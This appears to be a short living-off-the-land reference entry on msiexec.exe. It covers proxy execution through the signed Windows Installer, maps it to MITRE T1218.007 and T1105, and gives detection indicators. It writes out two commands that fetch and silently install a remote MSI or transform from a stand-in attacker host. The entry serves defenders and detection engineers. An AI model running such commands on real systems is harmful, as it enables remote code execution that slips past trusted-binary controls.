msiexec.exe

The signed Windows Installer fetches and silently installs a remote MSI; the package's custom actions run arbitrary code under the trusted msiexec host. A signed vendor MSI can also be paired with a malicious remote transform: msiexec /i C:\Windows\Temp\x.msi TRANSFORMS="https://attacker.example/x.mst" /qb.

Use Proxy execution of attacker code through a trusted, signed installer, including from a remote URL.

msiexec /q /i https://attacker.example/x.msi

Context

user

Native

Execute

MITRE

T1218.007T1105

Detection

Detection: msiexec.exe with an http(s):// argument or a network-facing parent; msiexec.exe spawning cmd.exe/powershell.exe/rundll32; MSI or MST files written into INetCache; TRANSFORMS= pointing at a URL.

Verified

✓ LOLBAS Msiexec.yml quotes both `msiexec /q /i {REMOTEURL}` and `msiexec /i {PATH} TRANSFORMS="{REMOTEURL:.mst}" /qb`, MitreID T1218.007; verbatim match.

Refs

github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Msiexec.yml

attack.mitre.org/techniques/T1218/007/